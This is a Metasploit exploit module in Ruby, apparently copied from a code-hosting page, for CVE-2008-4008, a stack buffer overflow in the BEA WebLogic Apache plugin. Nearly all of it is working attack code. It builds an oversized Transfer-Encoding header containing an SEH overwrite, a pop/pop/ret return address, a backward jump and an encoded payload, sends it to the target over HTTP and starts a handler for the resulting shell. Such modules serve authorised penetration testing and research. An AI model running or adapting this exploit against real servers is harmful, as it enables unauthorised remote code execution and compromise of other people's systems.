81 lines
2.1 KiB
Ruby
81 lines
2.1 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
HttpFingerprint = { :pattern => [ /Apache/ ] }
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'BEA Weblogic Transfer-Encoding Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack based buffer overflow in the BEA
|
|
Weblogic Apache plugin. This vulnerability exists in the
|
|
error reporting for unknown Transfer-Encoding headers.
|
|
You may have to run this twice due to timing issues with handlers.
|
|
},
|
|
'Author' => 'pusscat',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2008-4008' ],
|
|
[ 'OSVDB', '49283' ],
|
|
[ 'URL', 'http://support.bea.com/application_content/product_portlets/securityadvisories/2806.html'],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'seh',
|
|
},
|
|
'Privileged' => true,
|
|
'Platform' => 'win',
|
|
'Payload' =>
|
|
{
|
|
'Space' => 500,
|
|
'BadChars' => "\x00\x0d\x0a",
|
|
'StackAdjustment' => -1500,
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows Apache 2.2 version Universal',
|
|
{
|
|
'Ret' => 0x1001f4d6, #pop/pop/ret
|
|
}
|
|
],
|
|
],
|
|
'DisclosureDate' => 'Sep 09 2008',
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def exploit
|
|
|
|
sploit = rand_text_alphanumeric(5800)
|
|
sploit[5781, 8] = generate_seh_record(target.ret)
|
|
# Jump backward to the payload
|
|
sploit[5789, 5] = "\xe9\x5e\xe9\xff\xff"
|
|
sploit[0, payload.encoded.length+7] = make_nops(7) + payload.encoded
|
|
|
|
datastore['VHOST'] = 'localhost'
|
|
send_request_cgi(
|
|
{
|
|
'method' => 'POST',
|
|
'url' => '/index.jsp',
|
|
'data' => '',
|
|
'headers' =>
|
|
{
|
|
'Transfer-Encoding' => sploit
|
|
}
|
|
})
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
end
|